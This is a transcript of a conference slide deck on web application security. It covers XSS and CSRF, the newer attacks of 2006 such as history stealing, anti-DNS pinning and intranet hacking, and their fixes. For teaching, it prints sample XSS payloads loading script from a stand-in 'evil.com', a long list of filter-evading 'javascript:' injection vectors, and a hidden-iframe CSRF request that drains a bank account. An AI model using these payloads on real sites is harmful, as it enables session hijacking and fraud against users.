rich web app security - keeping your application safe
Post on 18-Nov-2014
2.417 Views
Preview:
DESCRIPTION
TRANSCRIPT
Rich Web App SecurityKeeping your application safe
Jeremiah GrossmanFounder and CTOWhiteHat Security
Joe WalkerDWR Developer
Getahead
1
5 Stages of Web Application Security Grief
Denial
Anger
Bargaining
Depression
Acceptance
2
Telnet
FTP
POP
http(s)
Web ServersDatabase
App Servers
Network security solutions don't work for web application security
3
8 out of 10 Websitesare
Vulnerable
4
The Victims
The companies that host the Applications
The users that use the Applications
5
Building Blocks: XSS
XSS = Cross Site Scripting
You are at risk of an XSS attack any time you allow scripts from someone untrusted into
pages from your domain
6
Building Blocks: XSS
You let the user enter their name
Someone is going to enter their name like this:
Joe<script src="evil.com/danger.js">
Then, whoever looks at Joe’s name will execute Joe’s script and become a slave of Joe
7
Making User Input Safe
You filter out ‘<script.*>’ and then you’re safe.
Right?
8
Making User Input Safe
Actually you also need to filter:
<a href='javascript:danger();'>
<body onload='danger();'>
<p style='background-image: url("javascript:danger();")');
<img src='javascript:danger()'/>
9
Making User Input SafeAnd don’t forget:
<body background="javascript:danger()">
<link rel="stylesheet" href="javascript:danger()"/>
<style>@import evil.com/danger.js</style>
<input type='image' src='javascript:danger()'/>
10
Making User Input Safe
And then there’s:
<iframe src='evil.com/danger.html'/>
<meta http-equiv="refresh" content="0;url=javascript:danger()">
<base href="javascript:danger()">
<frameset> <frame src="javascript:danger()">...
11
Making User Input Safe
But remember:
<table background="javascript:danger()">
<tr background="javascript:danger()">
<div style="width:expression(danger();)">
<object type="text/x-scriptlet" data="evil.com/danger.js">
12
5 Stages of Web Application Security Grief
Denial
Anger
Bargaining
Depression
Acceptance
13
Making User Input Safe
It’s made 1000 times worse by browsers being able to make sense of virtually anything.
This:
<a href="a.html" link</a>
makes perfect sense to a browser.
14
Making User Input Safe
It’s made 1000 times worse by browsers being able to make sense of virtually anything.
This:
<a href="a.html">link
makes perfect sense to a browser.
15
Making User Input Safe
It’s made 1000 times worse by browsers being able to make sense of virtually anything.
This:
<a href="a.html >link</a>
makes perfect sense to a browser.
16
Making User Input Safe
It’s made 1000 times worse by browsers being able to make sense of virtually anything.
This: (depending on some encoding tricks)
¼a href="a.html"¾link¼/a¾
makes perfect sense to a browser.
17
Making User Input SafeAnd we haven’t got into:
• Flash (ActionScript ~= JavaScript)
• SVG (can embed JavaScript)
• .htc (packaged HTML in IE)
• XML Data Islands (IE only)
• HTML+TIME
You can use both <object> and <embed> for many of these
18
5 Stages of Web Application Security Grief
Denial
Anger
Bargaining
Depression
Acceptance
19
Building Blocks: CSRF
CSRF = Cross Site Request Forgery
You are at risk of a CSRF attack whenever you assume that a request containing an
authentication header (e.g. cookies) is something the user intended
20
Building Blocks: CSRF
bank.com evil.com.
<iframe width=0 height=0 src="http://bank.com/transfer.cgi?amnt=all&dest=MrEvil"/>
Welcome Fred,Thank-you for logging in
21
Building Blocks: CSRF
JavaScript is not always required to exploit a CSRF hole
Often all you need is:<iframe src="dangerous_url">or <img src="dangerous_url"/>or <script src="dangerous_url">
You can’t use XHR because cross-domain rules prevent the request from being sent
22
70 new new attack techniques in 2006
Many are small, but they combine in worrying ways
Jeremiah’s Top 10:
http://jeremiahgrossman.blogspot.com/2006/12/top-10-web-hacks-of-2006.html
The 6 most important ...
Attacks only get more Effective
23
Hacking RSS and Atom Feed Implementationshttp://www.cgisecurity.com/papers/HackingFeeds.pdf
} ⇢6. Hacking RSS Readers
RSS Feeds Aggregators generallychange the domain
Users getthe result
24
If your site that isn’t 100% safe against XSS and CSRF, users can attack their ‘friends’ with scripts
XHR/Flash/Quicktime can be used as a vector
Web worms grow much faster than email worms
So far, infections have been mostly benign, like how email worms were in the early 90’s ...
http://www.whitehatsec.com/downloads/WHXSSThreats.pdf
5. Web Worms
25
Many media types are scriptable by design:
Some are ‘scriptable’ by buffer-overflow:
If you are allowing users to upload files, be afraid.
4. Backdooring Media Files
JavaScript Malware embedded in everythinghttp://jeremiahgrossman.blogspot.com/2006/09/javascript-malware-embedded-in.html
26
I want to know if you visit dodgy.com
I create a page with a link and use a script to read the CSS link color:
purple:guilty, blue:not guilty
A page can quickly check thousands of sites
http://ha.ckers.org/weird/CSS-history-hack.html
3. History Stealing - Part 1
27
3. History Stealing - Part 2
Point a script tag at a protected HTML resource, detect differing replies by differing error messages<script src="http://mail.google.com/mail">
http://ha.ckers.org/weird/javascript-website-login-checker.html
28
The basic attack:
A browser visits evil.com. The DNS lookup gives the real web-server address.
1 second later evil.com creates an iframe to the evil.com and drops the HTTP request
The DNS pin is dropped, the browser needs to look up DNS again.
This time it gets someone else’s address.
The browser reads from the other site, but thinks it is the same domain.
2. Anti-DNS Pinning
29
2. Anti-DNS Pinning
As it is the attack isn’t very useful because:
• The browser thinks the domain is evil.com, so cookies for innocent.com are not sent, cookie protected resources are safe (for now)
• But it’s great for Intranet hacking - no cookies are needed to read from 192.168.0.1 or 127.0.0.1
30
History stealing to enumerate hosts inside the firewall
Anti-DNS pinning to read HTML from inside
Many routers / firewalls / etc have default passwords, which an attacker can exploit
Use CSRF to alter router / firewall settingshttp://www.whitehatsec.com/home/resources/presentations/files/javascript_malware.pdf
1. Intranet Hacking
31
5 Stages of Web Application Security Grief
Denial
Anger
Bargaining
Depression
Acceptance
32
Fixing XSS(when HTML is Illegal)
1. Filter inputs by white-listing input characters
Remember to filter header names and values
2. Filter outputs for the display environment
For HTML:& ⇒ & < ⇒ < > ⇒ >
' ⇒ ' " ⇒ "
Other environments have other special chars
33
Fixing XSS(when HTML is Legal, and Well Formed)
1. Filter inputs as before
2. Swap characters for entities (as before)
3. Swap back whitelist of allowed tags. e.g.:
<strong> ⇒ <strong>
4. Take extra care over attributes:
s/<a href="\([^&]*\)"\/>/<a href="$1"/>
5. Don’t use regular expressions
34
Fixing XSS(when HTML is Legal, and NOT Well Formed)
1. Find another way to do it / Swap jobs / Find some other solution to the problem
2. Create a tag soup parser to create a DOM tree from a badly formed HTML document
Remember to recursively check encodings
3. Create a tree walker that removes all non approved elements and attributes
35
Fixing CSRF
Force users to log off
Checking referrer headers doesn’t make things safe, but it does slow attackers down
Include authentication tokens in the body
OWASP servlet filter
Double-submit cookie pattern
Security Corner: Cross-Site Request Forgerieshttp://shiflett.org/articles/cross-site-request-forgeries
36
5 Stages of Web Application Security Grief
Denial
Anger
Bargaining
Depression
Acceptance
37
Questions?
Jeremiah Grossmanhttp://www.whitehatsec.com/
Joe Walkerhttp://getahead.org/blog/joe
38
top related